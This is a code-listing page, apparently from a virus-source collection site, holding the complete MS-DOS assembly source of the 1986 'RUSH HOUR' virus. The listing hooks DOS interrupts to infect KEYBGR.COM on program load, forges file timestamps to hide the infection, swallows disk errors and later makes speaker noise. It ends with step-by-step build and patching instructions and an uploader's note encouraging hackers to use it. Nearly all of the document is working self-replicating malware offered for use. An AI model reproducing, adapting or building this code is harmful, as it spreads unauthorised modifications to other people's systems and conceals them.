rushhour.asm
来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 324 行
ASM
324 行
PAGE 72,132
TITLE Virus "RUSH HOUR" (p) Foxi, 1986
NAME VIRUS
ABS0 SEGMENT AT 0
ORG 4*10H
VIDEO_INT DW 2 DUP (?) ; VIDEO INTERRUPT
; VECTOR
ORG 4*21H
DOS_INT DW 2 DUP (?) ; DOS -"-
ORG 4*24H
ERROR_INT DW 2 DUP (?) ; ERROR -"-
ABS0 ENDS
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE
ORG 05CH
FCB LABEL BYTE
DRIVE DB ?
FSPEC DB 11 DUP (' ') ; Filename
ORG 6CH
FSIZE DW 2 DUP (?)
FDATE DW ? ; date of last
; modification
FTIME DW ? ; time -"- -"-
ORG 80H
DTA DW 128 DUP (?) ; Disk Transfer Area
ORG 071EH ; end of the normal
; KEYBGR.COM
XOR AX,AX
MOV ES,AX ; ES points to ABS0
ASSUME ES:ABS0
PUSH CS
POP DS
MOV AX,VIDEO_INT ; store old
; interrupt vectors
MOV BX,VIDEO_INT+2
MOV word ptr VIDEO_VECTOR,AX
MOV word ptr VIDEO_VECTOR+2,BX
MOV AX,DOS_INT
MOV BX,DOS_INT+2
MOV word ptr DOS_VECTOR,AX
MOV word ptr DOS_VECTOR+2,BX
CLI
MOV DOS_INT,OFFSET VIRUS ; new DOS vector
; points to
; VIRUS
MOV DOS_INT+2,CS
MOV VIDEO_INT,OFFSET DISEASE ; video vector
; points to DISEASE
MOV VIDEO_INT+2,CS
STI
MOV AH,0
INT 1AH ; read TimeOfDay (TOD)
MOV TIME_0,DX
LEA DX,VIRUS_ENDE
INT 27H ; terminate program
; remain resident.
VIDEO_VECTOR Dd (?)
DOS_VECTOR Dd (?)
ERROR_VECTOR DW 2 DUP (?)
TIME_0 DW ?
;
; VIRUS main program:
;
; 1. System call AH=4BH ?
; No : --> 2.
; Yes : Test KEYBGR.COM on specified drive
; Already infected?
; Yes : --> 3.
; No : INFECTION !
;
; 2. Jump to normal DOS
;
RNDVAL DB 'bfhg'
ACTIVE DB 0 ; not active
PRESET DB 0 ; first virus not
; active!
DB 'A:'
FNAME DB 'KEYBGR COM'
DB 0
VIRUS PROC FAR
ASSUME CS:CODE, DS:NOTHING, ES:NOTHING
PUSH AX
PUSH CX
PUSH DX
MOV AH,0 ; check if at least 15
; min.
INT 1AH ; have elapsed
; since
SUB DX,TIME_0 ; installation.
CMP DX,16384 ; (16384 ticks of the
; clock=15 min.)
JL $3
MOV ACTIVE,1 ; if so, activate
; virus.
$3: POP DX
POP CX
POP AX
; disk access
; because of the
CMP AX,4B00H ; DOS command
JE $1 ; "Load and execute
; program" ?
EXIT_1:
JMP DOS_VECTOR ; No : --> continue as normal
$1: PUSH ES ; ES:BX -->
; parameter block
PUSH BX ; DS:DX --> filename
PUSH DS ; save registers which
; will be needed
PUSH DX ; for INT 21H
; (AH=4BH)
MOV DI,DX
MOV DRIVE,0 ; Set the drive
; of the
MOV AL,DS:[DI+1] ; program to be
; executed
CMP AL,':'
JNE $5
MOV AL,DS:[DI]
SUB AL,'A'-1
MOV DRIVE,AL
$5: CLD
PUSH CS
POP DS
XOR AX,AX
MOV ES,AX
ASSUME DS:CODE, ES:ABS0
MOV AX,ERROR_INT ; Ignore all
; disk "errors"
MOV BX,ERROR_INT+2 ; with our own
; error routine
MOV ERROR_VECTOR,AX
MOV ERROR_VECTOR+2,BX
MOV ERROR_INT,OFFSET ERROR
MOV ERROR_INT+2,CS
PUSH CS
POP ES
ASSUME ES:CODE
LEA DX,DTA ; Disk Transfer Area
; select
MOV AH,1AH
INT 21H
MOV BX,11 ; transfer the
; filename
$2:
MOV AL,FNAME-1[BX] ; into FileControlBlock
MOV FSPEC-1[BX],AL
DEC BX
JNZ $2
LEA DX,FCB ; open file ( for
; writing )
MOV AH,0FH
INT 21H
CMP AL,0
JNE EXIT_0 ; file does not exist -
; -> end
MOV byte ptr fcb+20h,0 ;
MOV AX,FTIME ; file already infected ?
CMP AX,4800H
JE EXIT_0 ; YES --> END
MOV PRESET,1 ; (All copies are
; virulent !)
MOV SI,100H ; write the VIRUS in
; the file
$4:
LEA DI,DTA
MOV CX,128
REP MOVSB
LEA DX,FCB
MOV AH,15H
INT 21H
CMP SI,OFFSET VIRUS_ENDE
JL $4
MOV FSIZE,OFFSET VIRUS_ENDE - 100H
MOV FSIZE+2,0 ; set correct
; file size
MOV FDATE,0AA3H ; set correct date
; (03-05-86)
MOV FTIME,4800H ; -"- time
; (09:00:00)
LEA DX,FCB ; close file
MOV AH,10H
INT 21H
XOR AX,AX
MOV ES,AX
ASSUME ES:ABS0
MOV AX,ERROR_VECTOR ; reset the error
; interrupt
MOV BX,ERROR_VECTOR+2
MOV ERROR_INT,AX
MOV ERROR_INT+2,BX
EXIT_0:
POP DX ; restore the saved
; registers
POP DS
POP BX
POP ES
ASSUME DS:NOTHING, ES:NOTHING
MOV AX,4B00H
JMP DOS_VECTOR ; normal function execution
VIRUS ENDP
ERROR PROC FAR
IRET ; simply ignore all
; errors...
ERROR ENDP
DISEASE PROC FAR
ASSUME DS:NOTHING, ES:NOTHING
PUSH AX ; These registers will be
; destroyed!
TEST PRESET,1
JZ EXIT_2
TEST ACTIVE,1
JZ EXIT_2
IN AL,61H ; Enable speaker
AND AL,0FEH ; ( Bit 0 := 0 )
OUT 61H,AL
MOV CX,3 ; index loop CX
NOISE:
MOV AL,RNDVAL ; :
XOR AL,RNDVAL+3 ; :
SHL AL,1 ; generate NOISE
SHL AL,1 ; :
RCL WORD PTR RNDVAL,1 ; :
RCL WORD PTR RNDVAL+2,1 ; :
MOV AH,RNDVAL ; output some bit
AND AH,2 ; of the feedback
IN AL,61H ; shift register
AND AL,0FDH ; --> noise from speaker
OR AL,AH
OUT 61H,AL
EXIT_2:
POP CX
POP AX
JMP VIDEO_VECTOR ; jump to the normal
; VIDEO routine.....
DISEASE ENDP
DB 'This program is a VIRUS program.'
DB 'Once activated it has control over all'
DB 'system devices and even over all storage'
DB 'media inserted by the user. It continually'
DB 'copies itself into uninfected operating'
DB 'systems and thus spreads uncontrolled.'
DB 'The fact that the virus does not destroy any'
DB 'user programs or erase the disk is merely due'
DB 'to a philanthropic trait of the author......'
ORG 1C2AH
VIRUS_ENDE LABEL BYTE
CODE ENDS
END
; To get an executable program:
;
; 1.) Assemble and link source
; 2.) Rename EXE file to COM!
; 3.) Load renamed EXE file into DEBUG
; 4.) Reduce register CX to 300H
; 5.) Write COM file to disk with "w"
; 6.) Load COM file virus in DEBUG
; 7.) Load KEYBGR.COM
; 8.) Change addresses 71Eh ff. as follows:
; 71EH: 33 C0 8E C0 0E 1F 26
; 9.) Write KEYBGR.COM to disk with a length of 1B2A bytes
;
; Source code RUSHHOUR.ASM -- (C) 1986, foxi
;
; Taken from book "Computer Viruses - a high-tech disease"
;
; Source retyped by -=> CyberZone <=- Jon A Johnson
; U/l to Virus Exchange BBS - Sofia, Bulgaria
;
; "Have fun all you Hackers. hahaha" -->JAJ<--
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?